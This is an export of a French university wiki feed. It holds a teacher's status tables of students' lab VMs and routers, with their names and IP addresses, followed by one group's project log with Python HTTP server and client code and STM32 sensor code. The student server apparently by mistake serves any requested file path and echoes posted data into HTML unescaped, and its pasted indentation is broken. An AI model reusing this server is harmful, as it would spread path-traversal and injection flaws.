| g3 || Timothé Brenier &amp;amp; Benjamin Nguyen &lt;br /&gt;
| IPv4 sur CV : 10.0.69.130, IPv4 sur VLAN50 : 172.26.145.107, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feff:4c44, connexion à Internet en IPv4 possible, résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.167, IPv4 sur VLAN50 : 172.26.145.106, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feaa:f292, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.184, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feaa:f293, connexion à Internet en IPv4 possible&lt;br /&gt;
|-&lt;br /&gt;
| g4 || François Naudot &amp;amp; Dann Rodenburg &lt;br /&gt;
| IPv4 sur CV : 10.0.69.156, IPv4 sur VLAN50 : 172.26.145.109, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe46:70cd, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.106, IPv4 sur VLAN50 : 172.26.145.108, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fec6:168, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.185, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fec6:169, connexion à Internet en IPv4 possible&lt;br /&gt;
|-&lt;br /&gt;
| g5 || Maël Delaby &amp;amp; Paul Amoros&lt;br /&gt;
| IPv4 sur CV : 10.0.69.189, IPv4 sur VLAN50 : 172.26.145.111, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe14:cdb5, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.171, IPv4 sur VLAN50 : 172.26.145.110, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe5b:b2b5, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.188, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe5b:b2b6, connexion à Internet en IPv4 possible&lt;br /&gt;
|-&lt;br /&gt;
| g6 || Haitam Blgrim &amp;amp; Baptiste Black &lt;br /&gt;
| IPv4 sur CV : 10.0.69.100, IPv4 sur VLAN50 : 172.26.145.113, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fef9:2bb9, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| pas de machine virtuelle&lt;br /&gt;
| bloquage du serveur &amp;lt;code&amp;gt;antifer&amp;lt;/code&amp;gt; par installation du routeur openWRT sous la racine, machine non contactable en IPv6 sur le SE5&lt;br /&gt;
|-&lt;br /&gt;
| g7 || Jason Delannoy &amp;amp; Albin Mouton&lt;br /&gt;
| CV non configuré, machine non contactable en IPv6 sur le VLAN50&lt;br /&gt;
| machine non contactable en IPv6 sur le bridgeStudent&lt;br /&gt;
| pas d'adresse MAC dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g8 || Elias Simon &amp;amp; Mathis Riffaut&lt;br /&gt;
| CV non configuré, machine non contactable en IPv6 sur le VLAN50&lt;br /&gt;
| machine non contactable en IPv6 sur le bridgeStudents&lt;br /&gt;
| machine non contactable en IPv6 sur le SE5&lt;br /&gt;
|-&lt;br /&gt;
| g10 || Estelle Godard &amp;amp; Jeanne Delcourt&lt;br /&gt;
| IPv4 sur CV : 10.0.69.165, IPv4 sur VLAN50 : 172.26.145.121, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7e:35e1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur CV : 10.0.69.132, IPv4 sur VLAN50 : 172.26.145.120, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feb4:5ea3, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.191 (erreur !!), IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feb4:5ea4, pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
| g11 || Karl Habre &amp;amp; Amine Sellali&lt;br /&gt;
| machine non contactable en IPv6 sur le VLAN50&lt;br /&gt;
| machine non contactable en IPv6 sur le bridgeStudents&lt;br /&gt;
| pas d'adresse MAC dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| g12 || Mohammed Halaoui &amp;amp; Rémi Farault&lt;br /&gt;
| IPv4 sur CV : 10.0.69.131, IPv4 sur VLAN50 : 172.26.145.125, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe54:5aee, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.124, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
| IPv4 sur Internet : 193.48.57.181, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Pas de changement sur les routeurs OpenWRT à 17h30.&lt;br /&gt;
&lt;br /&gt;
Pas de changement sur les MV d'&amp;lt;code&amp;gt;antifer&amp;lt;/code&amp;gt; à 18h00.&lt;br /&gt;
&lt;br /&gt;
Une seule modification sur les MV de &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; à 18h15 : la G7 (&amp;lt;code&amp;gt;g7jdelannoVM&amp;lt;/code&amp;gt;) est maintenant contactable (@IPv4 et @IPv6 sur le VLAN50) mais sans rien de plus.&lt;br /&gt;
&lt;br /&gt;
=== Contrôle au 06/12/2023 ===&lt;br /&gt;
&lt;br /&gt;
Données brutes pour les routeurs openWRT (pas de relancement) :&lt;br /&gt;
&lt;br /&gt;
 G1 | IPv4 sur Internet : 193.48.57.191, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4&lt;br /&gt;
 G2 | IPv4 sur Internet : 193.48.57.180, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe31:b916, connexion à Internet en IPv4 possible&lt;br /&gt;
 G3 | IPv4 sur Internet : 193.48.57.184, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feaa:f293, connexion à Internet en IPv4 possible&lt;br /&gt;
 G4 | IPv4 sur Internet : 193.48.57.185, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fec6:169, connexion à Internet en IPv4 possible&lt;br /&gt;
 G5 | IPv4 sur Internet : 193.48.57.188, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe5b:b2b6, connexion à Internet en IPv4 possible&lt;br /&gt;
 G6 | IPv4 sur Internet : 193.48.57.187, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fef9:2bba, connexion à Internet en IPv4 possible&lt;br /&gt;
 G7 | Bad MAC address &lt;br /&gt;
 G8 | machine non contactable en IPv6 sur le SE5&lt;br /&gt;
 G9 | Rien&lt;br /&gt;
 G10 | IPv4 sur Internet : 193.48.57.186, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:feb4:5ea4, pas de connexion à Internet en IPv4&lt;br /&gt;
 G11 | machine non contactable en IPv6 sur le SE5&lt;br /&gt;
 G12 | IPv4 sur Internet : 193.48.57.181, IPv6 sur Internet : 2001:660:4401:60b0:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4&lt;br /&gt;
&lt;br /&gt;
Données brutes pour les MV sur &amp;lt;code&amp;gt;antifer&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 ==== g1kpatrikeevVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.218, IPv4 sur VLAN50 : 172.26.145.102, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7d:bc44, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g2clemair1VM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.145, IPv4 sur VLAN50 : 172.26.145.104, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe31:b916, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle&lt;br /&gt;
 ==== g3tbrenierVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.167, IPv4 sur VLAN50 : 172.26.145.106, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feaa:f292, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g4fnaudotVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.106, IPv4 sur VLAN50 : 172.26.145.108, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fec6:168, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g5mdelabyVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.171, IPv4 sur VLAN50 : 172.26.145.110, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe5b:b2b5, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle&lt;br /&gt;
 ==== g6bblackVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.113, IPv4 sur VLAN50 : 172.26.145.112, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe4a:d2be, connexion à Internet en IPv4 possible, resolution DNS fonctionnelle&lt;br /&gt;
 ==== g7amoutonVM&lt;br /&gt;
 | pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.114, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe59:7616, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g8esimonVM&lt;br /&gt;
 | machine non contactable en IPv6 sur le bridgeStudents&lt;br /&gt;
 ==== g10egodardVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.132, IPv4 sur VLAN50 : 172.26.145.120, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feb4:5ea3, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g11asellaliVM&lt;br /&gt;
 | machine non contactable en IPv6 sur le bridgeStudents&lt;br /&gt;
 ==== g12mhalaouiVM&lt;br /&gt;
 | pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.124, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe9a:5186, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
&lt;br /&gt;
Données brutes pour les MV sur &amp;lt;code&amp;gt;penfret&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 ==== g1jcharleuxVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.185, IPv4 sur VLAN50 : 172.126.145.103, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe00:a98d, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g2gthomasVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.212, IPv4 sur VLAN50 : 172.26.145.105, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fedb:2ac4, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g3bnguyen1VM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.130, IPv4 sur VLAN50 : 172.26.145.107, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:feff:4c44, connexion à Internet en IPv4 possible, résolution DNS fonctionnelle&lt;br /&gt;
 ==== g4drodenbuVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.156, IPv4 sur VLAN50 : 172.26.145.109, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe46:70cd, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g5pamorosVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.189, IPv4 sur VLAN50 : 172.26.145.111, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe14:cdb5, connexion à Internet en IPv4 possible, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g6hblgrimVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.100, IPv4 sur VLAN50 : 172.26.145.113, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fef9:2bb9, connexion à Internet en IPv4 possible, résolution DNS fonctionnelle&lt;br /&gt;
 ==== g7jdelannoVM&lt;br /&gt;
 | pas d'IPv4 sur le CV, IPv4 sur VLAN50 : 172.26.145.115, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe0f:aba1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g8mriffautVM&lt;br /&gt;
 | machine non contactable en IPv6 sur le VLAN50&lt;br /&gt;
 ==== g10jdelcourVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.165, IPv4 sur VLAN50 : 172.26.145.121, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe7e:35e1, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
 ==== g11khabreVM&lt;br /&gt;
 | machine non contactable en IPv6 sur le VLAN50&lt;br /&gt;
 ==== g12rfaraultVM&lt;br /&gt;
 | IPv4 sur CV : 10.0.69.131, IPv4 sur VLAN50 : 172.26.145.125, IPv6 sur VLAN50 : 2001:660:4401:6050:216:3eff:fe54:5aee, pas de connexion à Internet en IPv4, pas de résolution DNS fonctionnelle&lt;br /&gt;
&lt;br /&gt;
Trois groupes finissent à 17h : G2, G5 et G7.&lt;br /&gt;
&lt;br /&gt;
Un groupe à 17h20 : G6.&lt;br /&gt;
&lt;br /&gt;
Un groupe à 17h40 : G10.&lt;br /&gt;
&lt;br /&gt;
Le reste :&lt;br /&gt;
&lt;br /&gt;
  G8 -&amp;gt; installation du conteneur synapse&lt;br /&gt;
  G3 -&amp;gt; erreur à la connexion de la base de données, encodage ASCII&lt;br /&gt;
  G4 -&amp;gt; création de la base de données&lt;br /&gt;
  G12 -&amp;gt; problème à l'exécution du conteneur&lt;br /&gt;
  G11 -&amp;gt; essayent d'installer le conteneur synapse sur la zabeth&lt;br /&gt;
  G13 -&amp;gt; installation du mandataire inverse (reverse proxy nginx)&lt;br /&gt;
  G1 -&amp;gt; installation du conteneur synapse, se lance mais en échec&lt;br /&gt;
&lt;br /&gt;
G13 n'a pas mis à jour le tableau de répartition.&lt;/div&gt;</summary>
		<author><name>Bnguyen1</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3675</id>
		<title>SE5 ECEAI/eceai 2023/2024/Brenier-Nguyen</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_ECEAI/eceai_2023/2024/Brenier-Nguyen&amp;diff=3675"/>
		<updated>2023-12-20T16:57:19Z</updated>

		<summary type="html">&lt;p&gt;Bnguyen1 : /* Flash du capteur sur le logiciel STM32CubeIDE */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;* Séance 1 :&lt;br /&gt;
** Création et configuration de la VM sur Chassiron&lt;br /&gt;
** Installation de NanoEdge&lt;br /&gt;
** Installation de STM32cube&lt;br /&gt;
** Installation de l'OS pour la Raspberry dans la carte micro SD&lt;br /&gt;
** Prise en main de Nanoedge, de nucléo et de STM32cube&lt;br /&gt;
** Début de réflexion sur l'application (métrologie)&lt;br /&gt;
*Séance 2:&lt;br /&gt;
**Mise en place du serveur python&lt;br /&gt;
**Mise en place du client python&lt;br /&gt;
**Test réussi de communication entre client et serveur via http&lt;br /&gt;
**Programmation de la carte nucléo pour transfert de valeur via liaison série&lt;br /&gt;
**Suite réflexion sur l'application (reconnaissance alphabet langue des signes, mouvement)&lt;br /&gt;
**Choix de l'application : reconnaissance d'objets appliqué aux fournitures scolaires&lt;br /&gt;
**Entraînement des modèles pour les différentes applications cités précédemment&lt;br /&gt;
**Finalement : entraînement à la reconnaissance d'objets de fournitures scolaires&lt;br /&gt;
*Séance 3:&lt;br /&gt;
**Entraînement d'un nouveau modèle.&lt;br /&gt;
**Écriture d'un programme permettant de récupérer les données du capteur et de les écrire dans un fichier.&lt;br /&gt;
*Séance 4 :&lt;br /&gt;
**Essai d'utilisation de la librairie créée grâce à Nanoedge.&lt;br /&gt;
**Amélioration du programme python permettant de récupérer les données du capteur.&lt;br /&gt;
***Création d'un fichier .txt afin de stocker les données du capteur toutes les minutes.&lt;br /&gt;
***Destruction automatique des fichiers de données ayant été crée il y a plus de 10 minutes.&lt;br /&gt;
**L’émulateur de la librairie ne fonctionne pas s'il est exécuté dans la raspberry... Nous l'exécutons désormais directement dans notre VM.&lt;br /&gt;
**Pour cela nous avons adapter notre programme python afin de récupérer les données à partir d'un json pour traiter ces données dans la VM.&lt;br /&gt;
***Création d'un fichier toutes les minutes (contenant au format json la date et les données au format csv)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Code du serveur Python :&amp;lt;/b&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, BaseHTTPRequestHandler&lt;br /&gt;
&lt;br /&gt;
import json&lt;br /&gt;
&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# Stocker les requ  tes POST re  ues&lt;br /&gt;
&lt;br /&gt;
post_requests = []&lt;br /&gt;
&lt;br /&gt;
class CustomHTTPHandler(BaseHTTPRequestHandler):&lt;br /&gt;
&lt;br /&gt;
   def do_GET(self):&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/':&lt;br /&gt;
&lt;br /&gt;
           self.path = '/index.html'&lt;br /&gt;
&lt;br /&gt;
       if self.path == '/data':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'application/json')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(json.dumps(post_requests), 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
if self.path == '/index.html':&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           # Cr  er le contenu HTML avec les donn  es POST&lt;br /&gt;
&lt;br /&gt;
           content = '&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;Donn  es POST:&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           for item in post_requests:&lt;br /&gt;
&lt;br /&gt;
               content += f'&amp;lt;li&amp;gt;{item}&amp;lt;/li&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           content += '&amp;lt;/ul&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;'&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(content.encode('utf-8'))&lt;br /&gt;
&lt;br /&gt;
           return&lt;br /&gt;
&lt;br /&gt;
       try:&lt;br /&gt;
&lt;br /&gt;
file_to_open = open(self.path[1:]).read()&lt;br /&gt;
&lt;br /&gt;
           self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
           self.send_header('Content-type', 'text/html')&lt;br /&gt;
&lt;br /&gt;
           self.end_headers()&lt;br /&gt;
&lt;br /&gt;
           self.wfile.write(bytes(file_to_open, 'utf-8'))&lt;br /&gt;
&lt;br /&gt;
       except FileNotFoundError:&lt;br /&gt;
&lt;br /&gt;
           self.send_error(404, 'File Not Found: %s' % self.path)&lt;br /&gt;
&lt;br /&gt;
   def do_POST(self):&lt;br /&gt;
&lt;br /&gt;
       content_length = int(self.headers['Content-Length'])&lt;br /&gt;
&lt;br /&gt;
       post_data = self.rfile.read(content_length).decode('utf-8')&lt;br /&gt;
&lt;br /&gt;
       # Ajouter les donn  es POST    la liste&lt;br /&gt;
&lt;br /&gt;
       post_requests.append(post_data)&lt;br /&gt;
&lt;br /&gt;
       # Envoyer une rponse HTTP&lt;br /&gt;
&lt;br /&gt;
       self.send_response(200)&lt;br /&gt;
&lt;br /&gt;
       self.end_headers()&lt;br /&gt;
&lt;br /&gt;
self.wfile.write(b&amp;quot;POST request processed&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
class HTTPServerV6(HTTPServer):&lt;br /&gt;
&lt;br /&gt;
   address_family = socket.AF_INET6&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
&lt;br /&gt;
   server_address = ('::', 8888)  #  ^icoute sur toutes les interfaces IPv6, p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
   httpd = HTTPServerV6(server_address, CustomHTTPHandler)&lt;br /&gt;
&lt;br /&gt;
   print(&amp;quot;Serveur actif sur le port&amp;quot;, 8888)&lt;br /&gt;
&lt;br /&gt;
   httpd.serve_forever() &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Code du client Python :'''&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import argparse                                                                                                                            &lt;br /&gt;
import requests                                                                                                                            &lt;br /&gt;
import json                                                                                                                                &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
def send_json_to_server(url, json_file):                                                                                                   &lt;br /&gt;
    # Charger les données CSV depuis le fichier spécifié                                                                                   &lt;br /&gt;
    with open(json_file, 'r') as file:                                                                                                     &lt;br /&gt;
        data = json.load(file)                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # En-têtes spécifiant que vous envoyez du CSV                                                                                          &lt;br /&gt;
    headers = {'Content-Type': 'application/json'}                                                                                         &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Envoie de la requête HTTP POST avec les données                                                                                      &lt;br /&gt;
    response = requests.post(url, data=json.dumps(data), headers=headers)                                                                  &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Vérification de la réponse                                                                                                           &lt;br /&gt;
    if response.status_code == 200:                                                                                                        &lt;br /&gt;
        print('Requête envoyée avec succès!')                                                                                              &lt;br /&gt;
    else:                                                                                                                                  &lt;br /&gt;
        print(f'Erreur {response.status_code}: {response.text}')                                                                           &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:                                                                                                                 &lt;br /&gt;
    # Configurer les arguments en ligne de commande                                                                                        &lt;br /&gt;
    parser = argparse.ArgumentParser(description='Client Python pour envoyer des JSON via HTTP.')                                          &lt;br /&gt;
    parser.add_argument('url', type=str, help='URL du serveur')                                                                            &lt;br /&gt;
    parser.add_argument('json_file', type=str, help='Chemin vers le fichier JSON à envoyer')                                               &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Analyser les arguments                                                                                                               &lt;br /&gt;
    args = parser.parse_args()                                                                                                             &lt;br /&gt;
                                                                                                                                           &lt;br /&gt;
    # Appeler la fonction pour envoyer le JSON au serveur                                                                                  &lt;br /&gt;
    send_json_to_server(args.url, args.json_file) &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Index permettant d'afficher le json de test que nous avons envoyé au serveur :'''&amp;lt;syntaxhighlight lang=&amp;quot;html&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html lang=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;UTF-8&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Page d'Accueil&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;Bienvenue sur Mon Serveur&amp;lt;/h1&amp;gt;&lt;br /&gt;
    &amp;lt;h2&amp;gt;Données POST reçues:&amp;lt;/h2&amp;gt;&lt;br /&gt;
    &amp;lt;ul id=&amp;quot;data&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;!-- Les données POST seront listées ici --&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Capture montrant l'affichage d'un fichier json (sans aucun sens) envoyé au serveur depuis le client :'''&lt;br /&gt;
[[Fichier:CaptureIndexBrenierNguyen.png|vignette|Démonstration du protocole HTTP]]&lt;br /&gt;
&lt;br /&gt;
== Flash du capteur sur le logiciel STM32CubeIDE ==&lt;br /&gt;
Le code ci-dessous est la fonction qui est appelé pour le traitement des capteurs. Nous avions décidé de définir le délimiteur de donnée avec un espace.&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve de la ligne 8 à 12 la configuration du capteur que l'on a défini sur un quadrillage de 8 x 8.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
static void MX_53L5A1_SimpleRanging_Process(void)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t Id;&lt;br /&gt;
&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ReadID(VL53L5A1_DEV_CENTER, &amp;amp;Id);&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_GetCapabilities(VL53L5A1_DEV_CENTER, &amp;amp;Cap);&lt;br /&gt;
&lt;br /&gt;
  Profile.RangingProfile = RS_PROFILE_8x8_CONTINUOUS;&lt;br /&gt;
  Profile.TimingBudget = TIMING_BUDGET; /* 5 ms &amp;lt; TimingBudget &amp;lt; 100 ms */&lt;br /&gt;
  Profile.Frequency = RANGING_FREQUENCY; /* Ranging frequency Hz (shall be consistent with TimingBudget value) */&lt;br /&gt;
  Profile.EnableAmbient = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
  Profile.EnableSignal = 0; /* Enable: 1, Disable: 0 */&lt;br /&gt;
&lt;br /&gt;
  /* set the profile if different from default one */&lt;br /&gt;
  VL53L5A1_RANGING_SENSOR_ConfigProfile(VL53L5A1_DEV_CENTER, &amp;amp;Profile);&lt;br /&gt;
&lt;br /&gt;
  status = VL53L5A1_RANGING_SENSOR_Start(VL53L5A1_DEV_CENTER, RS_MODE_BLOCKING_CONTINUOUS);&lt;br /&gt;
&lt;br /&gt;
  if (status != BSP_ERROR_NONE)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;VL53L5A1_RANGING_SENSOR_Start failed\n&amp;quot;);&lt;br /&gt;
    while (1);&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  while (1)&lt;br /&gt;
  {&lt;br /&gt;
    /* polling mode */&lt;br /&gt;
    status = VL53L5A1_RANGING_SENSOR_GetDistance(VL53L5A1_DEV_CENTER, &amp;amp;Result);&lt;br /&gt;
&lt;br /&gt;
    if (status == BSP_ERROR_NONE)&lt;br /&gt;
    {&lt;br /&gt;
      //print_result(&amp;amp;Result);&lt;br /&gt;
      print_result_IE(&amp;amp;Result);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (com_has_data())&lt;br /&gt;
    {&lt;br /&gt;
      handle_cmd(get_key());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    HAL_Delay(POLLING_PERIOD);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le code ci-dessous est la fonction qui nous permet d'afficher les données des capteurs via la liaison série.&lt;br /&gt;
&lt;br /&gt;
On observe l'envoie des données avec un séparateur 'espace', puis lorsque les valeurs semblent incohérentes du point de vue du capteur, on envoie arbitrairement un -1 en sortie.&lt;br /&gt;
&lt;br /&gt;
On obtient un jeu de donnée suivant le format : value espace value esapce .... value espace retour chariot   (pour chaque lignes/quadrillage sur une ligne)&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
static void print_result_IE(RANGING_SENSOR_Result_t *Result)&lt;br /&gt;
{&lt;br /&gt;
  int8_t j;&lt;br /&gt;
  int8_t k;&lt;br /&gt;
  int8_t l;&lt;br /&gt;
  uint8_t zones_per_line;&lt;br /&gt;
&lt;br /&gt;
  zones_per_line = ((Profile.RangingProfile == RS_PROFILE_8x8_AUTONOMOUS) ||&lt;br /&gt;
		 (Profile.RangingProfile == RS_PROFILE_8x8_CONTINUOUS)) ? 8 : 4;&lt;br /&gt;
&lt;br /&gt;
  for (j = 0; j &amp;lt; Result-&amp;gt;NumberOfZones; j += zones_per_line)&lt;br /&gt;
  {&lt;br /&gt;
	for (l = 0; l &amp;lt; RANGING_SENSOR_NB_TARGET_PER_ZONE; l++)&lt;br /&gt;
	{&lt;br /&gt;
	  /* Print distance and status */&lt;br /&gt;
	  for (k = (zones_per_line - 1); k &amp;gt;= 0; k--)&lt;br /&gt;
	  {&lt;br /&gt;
